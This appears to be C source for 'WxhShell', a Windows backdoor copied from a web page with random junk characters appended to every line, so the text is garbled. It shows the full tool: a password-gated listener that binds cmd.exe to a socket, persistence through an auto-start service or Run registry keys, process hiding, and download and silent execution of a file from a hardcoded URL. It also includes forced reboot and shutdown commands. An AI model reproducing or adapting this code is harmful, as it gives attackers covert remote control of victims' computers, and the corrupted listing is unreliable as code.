    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #&aqKV Y  
    if(Boot(SHUTDOWN)) 3z?> j]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  skViMo  
    else { D2 eckLT  
    closesocket(wsh); D?_Zl;bQ'^  
    ExitThread(0); sf87$S0  
    } I3I/bofz  
    break; lvz7#f L~  
    } `iNSr?N.  
  // 获取shell .@U@xRu7|  
  case 's': { i$G@R %  
    CmdShell(wsh); \V8PhO;j  
    closesocket(wsh); xJ8M6O8  
    ExitThread(0); *vxk@ `K~  
    break; mxC;?s;~  
  } zu{P#~21  
  // 退出 ,!y$qVg'\f  
  case 'x': { PiIpnoM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2r?G6D|  
    CloseIt(wsh); K7:)nv E  
    break; -;m0R  
    } q,|j]+9q  
  // 离开 l<LI7Z]A  
  case 'q': { !)0;&e5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d.d/<  
    closesocket(wsh); Id .nu/  
    WSACleanup(); pJ"qu,w  
    exit(1); M`!H"R7  
    break; P@Oo$ o  
        } W+?4jwqw  
  } Ckuh:bs  
  } <uw9DU7G  
7' V@+5  
  // 提示信息 ZDYJ\}=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EgCAsSx(  
} 6iE<T&$3P  
  } )yZ^[uJ}3C  
X *"i6 *  
  return; ??vLUv  
} &.Qrs :U  
{@{']Y  
// shell模块句柄 Vaw+.sG`AP  
int CmdShell(SOCKET sock) XJ| <?   
{ 7WS p($  
STARTUPINFO si; %RRNJf}z  
ZeroMemory(&si,sizeof(si)); G@X% +$I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k(G^z   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "_NN3lD)X  
PROCESS_INFORMATION ProcessInfo; R"t,xM  
char cmdline[]="cmd"; WO>nIo5Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D8?Vn"  
  return 0; s$`0yGmQ  
} D'PI1 0t  
c]o'xd,T8\  
// 自身启动模式 {]@= ijjf  
int StartFromService(void) 08\, <9  
{ eJX9_6m-  
typedef struct )g%d:xI  
{ $Sip$\+*  
  DWORD ExitStatus; Vv=. -&'  
  DWORD PebBaseAddress; |3"KK  
  DWORD AffinityMask; PB*&aYLU  
  DWORD BasePriority; ~P **O~  
  ULONG UniqueProcessId; )}Kf=  
  ULONG InheritedFromUniqueProcessId; #r\4sVg  
}   PROCESS_BASIC_INFORMATION; .|fH y  
4!yzsPJL  
PROCNTQSIP NtQueryInformationProcess; `mJ6K&t$<  
j>"@,B g*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J<h $ wM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `l[c_%Bm  
.?sx&2R2  
  HANDLE             hProcess; !M1"b;  
  PROCESS_BASIC_INFORMATION pbi; 3,qr-g|;jM  
;$wVu|&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !?h;wR  
  if(NULL == hInst ) return 0; >SHhAEF  
ul>3B4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?1 4{J]H4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K Z91-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n 0L^e  
/7F:T[  
  if (!NtQueryInformationProcess) return 0; })Vi  
YPk fx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _A9AEi'.  
  if(!hProcess) return 0; N S[l/0F&  
>} i  E(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }|NCboM^_  
Y.rsR 6  
  CloseHandle(hProcess); e6$WQd`O  
<`r>h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \Uq(Zga4)  
if(hProcess==NULL) return 0; SoK iE  
cR<fJ[*  
HMODULE hMod; BW*rIn<?G  
char procName[255]; "@0]G<H  
unsigned long cbNeeded; +iRh  
f 6>b|k~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yN(%-u"  
hhc,uJ">!  
  CloseHandle(hProcess); 7~.9=I'A  
V {ddr:]4  
if(strstr(procName,"services")) return 1; // 以服务启动 u\;C;I-? '  
YUy0!`!`  
  return 0; // 注册表启动 F{;((VboN  
} +VOK%8,p  
BUXpC xQ  
// 主模块 c 3)jccWTc  
int StartWxhshell(LPSTR lpCmdLine) R!gEwTk  
{ LFRlzz;  
  SOCKET wsl; j'"J%e]  
BOOL val=TRUE; JU&c.p /  
  int port=0; <6 Uf.u`  
  struct sockaddr_in door; \"OG6G_>$  
6mxfLlZ  
  if(wscfg.ws_autoins) Install(); ; )@~  
_F|Ek;y%  
port=atoi(lpCmdLine); (gWm,fI RZ  
1^JS Dd  
if(port<=0) port=wscfg.ws_port; 56kI 5:  
[5Mr@f4I  
  WSADATA data; ~U&AI1t+J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [?N~s:}  
ope^~+c~\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~dTrf>R8M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x7<K<k;s  
  door.sin_family = AF_INET; M gi,$H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @Z:l62l=bE  
  door.sin_port = htons(port); 6A+nS=  
mtcw#D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T!)(Dv8@F  
closesocket(wsl); q(W3i^778  
return 1; FP4P|kl/9'  
} 5D//*}b,  
*_\_'@1|J)  
  if(listen(wsl,2) == INVALID_SOCKET) { oV78Hq6  
closesocket(wsl); >e5 qv(y]  
return 1; U0P~  
} :nOFR$ W  
  Wxhshell(wsl); d)Y}>@:W  
  WSACleanup(); TJXT-\Vk  
LsU9 .  
return 0; ZyFjFHe+  
?)d~cJ  
} R%[ c;i  
dhK~O.~m  
// 以NT服务方式启动 #5o(h+w)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]Gq !`O1  
{ ml }{|Yz  
DWORD   status = 0; -r]W  
  DWORD   specificError = 0xfffffff; _L=h0H l  
oE]QF.n#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AFE~ v\Gz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d<P\&!R(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hv>\gBe i  
  serviceStatus.dwWin32ExitCode     = 0; _u QOHwn  
  serviceStatus.dwServiceSpecificExitCode = 0; 8&b,qQ~  
  serviceStatus.dwCheckPoint       = 0; O)r4?<Q  
  serviceStatus.dwWaitHint       = 0; WOL:IZX%  
L$M9w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cTTL1SW  
  if (hServiceStatusHandle==0) return; {kR#p %E]  
t'k$&l}+  
status = GetLastError(); /aZ`[m2  
  if (status!=NO_ERROR) z*% q@]ym  
{ smo~7;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'E""amIJ  
    serviceStatus.dwCheckPoint       = 0; oe-\ozJ0  
    serviceStatus.dwWaitHint       = 0; L) T (<  
    serviceStatus.dwWin32ExitCode     = status; Qh\60f>0  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9InVQCf2J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4^|3TntO  
    return; svH !1 b  
  } 'm kLCS  
II{&{S'HU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Qd3 j%(  
  serviceStatus.dwCheckPoint       = 0; Wg]Qlw`\|  
  serviceStatus.dwWaitHint       = 0; 9CD_ os\h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y`a3tO=Pd  
} ~2-1 j  
*VT/  
// 处理NT服务事件,比如:启动、停止 1/J=uH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9~[Y-cpoi  
{ kMN~Y  
switch(fdwControl) < h *4Q  
{ ER.}CM6{[  
case SERVICE_CONTROL_STOP: k@W1-D?  
  serviceStatus.dwWin32ExitCode = 0; U&p${IcEm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nb%6X82Q  
  serviceStatus.dwCheckPoint   = 0; [MY|T<q  
  serviceStatus.dwWaitHint     = 0; |Z +=  
  { =Jb>x#Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %n9aaoD  
  } JIq=* '  
  return; Z/+#pWBI!  
case SERVICE_CONTROL_PAUSE: 6(ol1 (U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $1`2 kM5  
  break; cSV aI  
case SERVICE_CONTROL_CONTINUE: DN:EB @  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \ }G> 8^  
  break; g]0_5?i  
case SERVICE_CONTROL_INTERROGATE: 3)ywX&4"L  
  break; ^k9I(f^c-_  
}; [.wYdv35  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xU`p|(SS-  
} H9e<v4 c  
{R6ZKB  
// 标准应用程序主函数 \bw2u!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <7jW _R@  
{ 8bld3p"^  
~b8]H|<'Y  
// 获取操作系统版本 P/_['7  
OsIsNt=GetOsVer(); 9djk[ttA)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -(H0>Ap  
%1+4_g9  
  // 从命令行安装 (SAs-  
  if(strpbrk(lpCmdLine,"iI")) Install(); Rnq7LGy  
)+9Uoe~6  
  // 下载执行文件 $~T4hv :  
if(wscfg.ws_downexe) { <wD-qTW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [/8%3  
  WinExec(wscfg.ws_filenam,SW_HIDE); S30%)<W  
} 0<@@?G  
(n_/`dP  
if(!OsIsNt) { 'TB2:W3  
// 如果时win9x,隐藏进程并且设置为注册表启动 _X x/(.O  
HideProc(); :d'8x  
StartWxhshell(lpCmdLine); wk_@R=*(\  
} --BW9]FW  
else b4N[)%@  
  if(StartFromService()) ^^ixa1H<  
  // 以服务方式启动 ' S/gmn  
  StartServiceCtrlDispatcher(DispatchTable); ey$&;1x#5  
else z<' u1l3  
  // 普通方式启动 o?Oc7 $+u  
  StartWxhshell(lpCmdLine); 7 HYwLG:\~  
@f3E`8  
return 0; + v:SM 9  
} { 2f-8Z&>  
Cq~dp/V  
{E|$8)58i  
(TT}6j  
=========================================== \ @2R9,9E  
+ami?#Sz*;  
DZtsy!xA  
[ub e6  
KF:78C  
\YrUe1  
" s6`?LZ0(z  
}i&/ G +_  
#include <stdio.h> JNnDts*w  
#include <string.h> &mS^ZyG  
#include <windows.h> (KZ{^X?a  
#include <winsock2.h> a/xn'"eli  
#include <winsvc.h> Tpa5N'O  
#include <urlmon.h> @-`*m+$U6  
5wU]!bxr  
#pragma comment (lib, "Ws2_32.lib") SNk=b6`9  
#pragma comment (lib, "urlmon.lib") ysnx3(+|  
U- k`s[dv  
#define MAX_USER   100 // 最大客户端连接数 vKAN@HSYr  
#define BUF_SOCK   200 // sock buffer  K_}K@'  
#define KEY_BUFF   255 // 输入 buffer >Y@H4LF;1x  
M x" \5i  
#define REBOOT     0   // 重启 z},# ~L6$q  
#define SHUTDOWN   1   // 关机 jq0O22 -R  
W: z;|FF  
#define DEF_PORT   5000 // 监听端口 Q\sK"~@3  
]JQULE)  
#define REG_LEN     16   // 注册表键长度 $U-0)4yf  
#define SVC_LEN     80   // NT服务名长度 vo{--+{ky!  
%JTpI`  
// 从dll定义API 4 s9LB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t\O16O7S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !^G\9"4A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lNO;O}8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C~exi[3  
rEz^  
// wxhshell配置信息 :NTO03F7v  
struct WSCFG { `N8O"UcoBo  
  int ws_port;         // 监听端口 A?OQE9'  
  char ws_passstr[REG_LEN]; // 口令 &_8 947  
  int ws_autoins;       // 安装标记, 1=yes 0=no }"%N4(Kd  
  char ws_regname[REG_LEN]; // 注册表键名 M&M 6;Ph  
  char ws_svcname[REG_LEN]; // 服务名 ~v6D#@%A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |CbikE}kL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @BMx!r5kn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 goWuw}?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b" [|:F>P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #fM`}Ij.A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P16~Qj  
VuZr:-K/  
}; %E;'ln4h&,  
Z0r'S]fe  
// default Wxhshell configuration yEy6]f+>+  
struct WSCFG wscfg={DEF_PORT, \o3gKoL%  
    "xuhuanlingzhe", m+$VVn3Z}  
    1, K wVbbC3  
    "Wxhshell", t"I77aZ$A  
    "Wxhshell", 8zq=N#x  
            "WxhShell Service", *|HY>U.  
    "Wrsky Windows CmdShell Service", eS){1  
    "Please Input Your Password: ",  C9)@jK%  
  1, E=O\0!F|b  
  "http://www.wrsky.com/wxhshell.exe", bpa?C  
  "Wxhshell.exe" <(!:$  
    }; &5!8F(7  
ZSo)  
// 消息定义模块  e]$s t?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o^wqFX(Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tfWS)y7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %\:Wi#w>  
char *msg_ws_ext="\n\rExit."; .x&%HA  
char *msg_ws_end="\n\rQuit."; ML p9y#  
char *msg_ws_boot="\n\rReboot..."; %!#azI  
char *msg_ws_poff="\n\rShutdown..."; V0Hj8}l;M  
char *msg_ws_down="\n\rSave to "; %B?=q@!QWn  
iH'p>s5L  
char *msg_ws_err="\n\rErr!"; l;E(I_ i)  
char *msg_ws_ok="\n\rOK!"; w&.a QGR#  
Gav$HLx  
char ExeFile[MAX_PATH];  LFV%&y|L  
int nUser = 0; _)iCa3z  
HANDLE handles[MAX_USER]; An0GPhC  
int OsIsNt; yaX iE_.  
cm+P]8o%{  
SERVICE_STATUS       serviceStatus; &#i"=\d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b7ZSPXV  
NwfVL4Xg  
// 函数声明 sa8Vvzvo.  
int Install(void); pQQH)`J|t  
int Uninstall(void); gnHbb-<i,  
int DownloadFile(char *sURL, SOCKET wsh); |5]X| v  
int Boot(int flag); $<OD31T  
void HideProc(void); V28M lP  
int GetOsVer(void); yIE!j %u  
int Wxhshell(SOCKET wsl); z0 Z%m@  
void TalkWithClient(void *cs); !d T4  
int CmdShell(SOCKET sock); 5~S5F3  
int StartFromService(void); l Nv|M)I  
int StartWxhshell(LPSTR lpCmdLine); ?&uu[y  
=i3n42M#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !ubD/KE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lmhLM. 2  
2 ? 4!K.  
// 数据结构和表定义 :~SyL!  
SERVICE_TABLE_ENTRY DispatchTable[] = J9 I:Q<;  
{ _(zG?]y0P  
{wscfg.ws_svcname, NTServiceMain}, GKeU%x  
{NULL, NULL} 4 H&#q>  
}; DW3G  
og>uj>H&  
// 自我安装 f,Ghb~y  
int Install(void) !TcJ)0   
{ bN=P*hdf  
  char svExeFile[MAX_PATH]; [PbOfxxgA  
  HKEY key; &6k3*dq  
  strcpy(svExeFile,ExeFile); 7PF%76TO  
51.%;aY~z  
// 如果是win9x系统,修改注册表设为自启动 fd9k?,zM  
if(!OsIsNt) { $NO&YLS@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [KQ6Ta.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rW#T vUn  
  RegCloseKey(key); lr$zHI7_`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IUct  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EBmt9S  
  RegCloseKey(key); nT)vNWT=  
  return 0; 8JUwf  
    } 4`=m u}Y2  
  } `qwBn=  
} +W+|%qM,\  
else { {Hk}Kow  
<\S:'g"(  
// 如果是NT以上系统,安装为系统服务 W!(LF7_!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >KKMcTOYY  
if (schSCManager!=0) !1b;F*H  
{ )WFr</z5bA  
  SC_HANDLE schService = CreateService *gz{.)W  
  ( q" 5(H5  
  schSCManager, S`]k>' l  
  wscfg.ws_svcname, a-J.B.A$Z/  
  wscfg.ws_svcdisp, Yz93'HDB  
  SERVICE_ALL_ACCESS, -D~%|).'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |vzl. ^"-  
  SERVICE_AUTO_START, K~ EmD9  
  SERVICE_ERROR_NORMAL, Uoix  
  svExeFile, 3irl (;v  
  NULL, '/%H3A#L  
  NULL, {+b7sA3  
  NULL, p{dj~ &v  
  NULL, 1m0c|ckb  
  NULL @9|hMo  
  ); PeEj&4k  
  if (schService!=0) U,1-A=Og{o  
  { ={Qi0Pvt  
  CloseServiceHandle(schService); | VDV<g5h  
  CloseServiceHandle(schSCManager); % %UE+u @J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y\'}a+:@Ph  
  strcat(svExeFile,wscfg.ws_svcname); +x}<IS8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fv`,3aNB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LjHVJSC  
  RegCloseKey(key); L9#g)tf 8T  
  return 0; Z;)%%V%o  
    } h2J x]FJ  
  } eh#(eua0/  
  CloseServiceHandle(schSCManager); vs{s_T7Mz]  
} R0-j5&^jju  
} lU8Hd|@-  
b5n'=doR/I  
return 1; lsNd_7k  
} -d:Jta!}{  
"U"Z 3 *  
// 自我卸载 V Jll  
int Uninstall(void) koi^l`B$  
{ ^5 Tqy(M  
  HKEY key; 63B?.  
A&jlizN7  
if(!OsIsNt) { E8&TO~"a]e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { , ++ `=o  
  RegDeleteValue(key,wscfg.ws_regname); ufT`"i  
  RegCloseKey(key); m&yJzMW|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '1/i"yoW  
  RegDeleteValue(key,wscfg.ws_regname); |$_sX9\`?|  
  RegCloseKey(key); @U}1EC{A  
  return 0; H} g{Cr"Ex  
  } @Do= k  
} ;sFF+^~L  
} [j'X;tVX{  
else { c~ V*:$F  
$PHvA6D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .#pU=v#/[  
if (schSCManager!=0) UW EV^ &"x  
{ JqiP>4Uwm^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }JAG7L&{  
  if (schService!=0) 8Uxne2e  
  { q> C'BIr  
  if(DeleteService(schService)!=0) { V3j= Kf  
  CloseServiceHandle(schService); 8)I^ t81  
  CloseServiceHandle(schSCManager); H$4:lH&(  
  return 0; h9W^[6  
  } lnR{jtWP  
  CloseServiceHandle(schService); L*JjG sTH  
  } 5`:Y ye  
  CloseServiceHandle(schSCManager); #>+HlT  
} Y:a]00&)#Y  
} f& '  
N]sAji*  
return 1; I,8Er2;)  
} C;urBsC  
uGlUc<B\*  
// 从指定url下载文件 q'8 2qY  
int DownloadFile(char *sURL, SOCKET wsh) um0N)&iY  
{ P";'jVcR  
  HRESULT hr; 83q6Sv  
char seps[]= "/"; ^y%T~dLkp'  
char *token; n.0fVV-A  
char *file; ZJs$STJ*  
char myURL[MAX_PATH]; 0"bcdG<}  
char myFILE[MAX_PATH]; LFtt gY  
%bfQ$a:  
strcpy(myURL,sURL); <UQbt N-B\  
  token=strtok(myURL,seps); C~iL3C b  
  while(token!=NULL) Dm<A ^u8  
  { n6a`;0f[R  
    file=token; kW&TJP+5*  
  token=strtok(NULL,seps); [IhYh<i  
  } Ek]'km!  
)+2hl  
GetCurrentDirectory(MAX_PATH,myFILE); Jg| XH L)  
strcat(myFILE, "\\"); d-dEQKI?;  
strcat(myFILE, file); N<injx  
  send(wsh,myFILE,strlen(myFILE),0); R*2E/8Ia  
send(wsh,"...",3,0); \P`hq^;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >\3V a  
  if(hr==S_OK) &KRX[2  
return 0; ,DkNLE  
else 6~w@PRy  
return 1; N//K Ph  
,nDaqQ-C!!  
} yO~Ig `w  
O@C@eW#  
// 系统电源模块 E=!\z%4  
int Boot(int flag) .OY`Z)SS%  
{ @6T/Tdz  
  HANDLE hToken; !d0kV,F:  
  TOKEN_PRIVILEGES tkp; 7O-x<P;  
w&T9;_/  
  if(OsIsNt) { SNI)9k(T{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hja3a{LH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nc|p)  
    tkp.PrivilegeCount = 1; G*P#]eO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^3L0w}#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cH t#us  
if(flag==REBOOT) { |_@>*Vmg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,1o FPa{?  
  return 0; #'9HU2  
} j HJ`,#  
else { u5f9Jw}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j\^CV?}sm'  
  return 0; a HR"n|7{  
} y/ ef>ZZ  
  } Gu\q%'I  
  else { 9m~p0ILh  
if(flag==REBOOT) { *wB1,U{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5taT5?n2  
  return 0; 7\Y0z  
} -z%^)VE  
else { q9r[$%G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZRU{ [4  
  return 0; i6Emhji  
} CdjI`  
} lchPpm9  
m`^q <sj  
return 1; A*547=M/(j  
} 4)urU7[ &)  
={@6{-tl  
// win9x进程隐藏模块 D7Q$R:6|  
void HideProc(void) [j/9neaye  
{ N~zdWnSZ@G  
#fn)k1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6fEqqUeV  
  if ( hKernel != NULL ) pYmk1!]/  
  { %S^8c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .;`AAH'k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K} X&AJ5A  
    FreeLibrary(hKernel); =R$u[~Xl2X  
  } @>Km_Ax  
-Cc^d!::  
return; ^Q?  
} CU2*z(]&  
_H7x9 y=  
// 获取操作系统版本 #( 146  
int GetOsVer(void) N)\. [v  
{ <FkFs{(t  
  OSVERSIONINFO winfo; EDl!w:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l L@XM2"  
  GetVersionEx(&winfo); y(yHt= r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HJ[cM6$2  
  return 1; O:{~urV  
  else #yF&X(%  
  return 0; ~ =2PU$u  
} x@;m8z0  
4yr'W8X_  
// 客户端句柄模块 ywmo#qYe  
int Wxhshell(SOCKET wsl) 6H WE~`ok6  
{ `% "\@<  
  SOCKET wsh; #r~# I}U  
  struct sockaddr_in client; ( 2E\p  
  DWORD myID; '/p/8V.O.  
.:%0E`E  
  while(nUser<MAX_USER) Zaf:fsj>  
{ jZkcBIK2  
  int nSize=sizeof(client); a P@N)"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [uN? ~lp\%  
  if(wsh==INVALID_SOCKET) return 1; =Toy Zm\  
q01wbO3-"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k|PN0&J  
if(handles[nUser]==0) %axh`xK#  
  closesocket(wsh); nRZ]z( b  
else 8COGsWK  
  nUser++; ,~@X{7U  
  } RmeD$>7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SBk4_J/_  
u$Jz~:=,  
  return 0; .|>3k'<l  
} ep)n_!$OH"  
`V)8 QRN(  
// 关闭 socket +`3)oPV)  
void CloseIt(SOCKET wsh) ' ;FnIZ  
{ Ma']?Rb`  
closesocket(wsh); lc1(t:"[  
nUser--; qUW! G&R  
ExitThread(0); }9#r0Vja  
} pis`$_kmwV  
CMG&7(MR  
// 客户端请求句柄 }Gm>`cw-  
void TalkWithClient(void *cs) S8wLmd>  
{ DIfaVo/"  
^]0Pfna+N  
  SOCKET wsh=(SOCKET)cs; :tB1D@Cb6  
  char pwd[SVC_LEN]; c&?m>2^6  
  char cmd[KEY_BUFF]; /}fHt^2H  
char chr[1]; gpvYb7Of0  
int i,j; kY|utoAP  
y@:h4u"3  
  while (nUser < MAX_USER) { #64-~NVL_  
(pCrmyB  
if(wscfg.ws_passstr) { FQ7T'G![  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); < #}5IQ5`Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~IfJwBn-i  
  //ZeroMemory(pwd,KEY_BUFF); n&;85IF1  
      i=0; TA`1U;c{n  
  while(i<SVC_LEN) { =_ ./~  
(ybI\UI  
  // 设置超时 WwBOM~/`2  
  fd_set FdRead; ;!mzyb*  
  struct timeval TimeOut; L:pYn_  
  FD_ZERO(&FdRead); ]7F=u!/`<C  
  FD_SET(wsh,&FdRead); Ng2@z<>.  
  TimeOut.tv_sec=8; p;59?  
  TimeOut.tv_usec=0; y^,1a[U.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0y" $MC v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rJT^H5!o"  
Bs_s&a>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :bu/^mW[  
  pwd=chr[0]; V6&!9b  
  if(chr[0]==0xd || chr[0]==0xa) { Yz/md1T$  
  pwd=0; +`7i 'ff  
  break; U9:zVy  
  } ^& tZ  
  i++; 9N%We|L,c  
    } n.`($yR_  
h-#6av :  
  // 如果是非法用户,关闭 socket nwB_8mN|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Pw7]r<Q  
} 1R{!]uh  
Q_Q''j(r6b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ['X]R:3h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F3v !AvA|  
x=hiQ>BIO0  
while(1) { -aPg#ub  
? Wr+Q  
  ZeroMemory(cmd,KEY_BUFF); b9KP( _  
HZzDVCU  
      // 自动支持客户端 telnet标准   G_3O]BMKd)  
  j=0; j^j1  
  while(j<KEY_BUFF) { \:# L)   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); * J7DY f  
  cmd[j]=chr[0]; e#L8X {f  
  if(chr[0]==0xa || chr[0]==0xd) { SIF/-{i(X  
  cmd[j]=0; [fya)}  
  break; @Q ]=\N:  
  } 7 S#J>*  
  j++; UqFO|r"M  
    } E:sf{B'&  
<ktrPlNuM  
  // 下载文件 53;}Nt#R  
  if(strstr(cmd,"http://")) { xjuN-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d6?j`~[7#-  
  if(DownloadFile(cmd,wsh)) ]_mb7X>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lk^Ol&6  
  else ~:rl=o}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k$z_:X  
  } oo/qb`-6  
  else { DbBcQ%  
~9a<0Mc?  
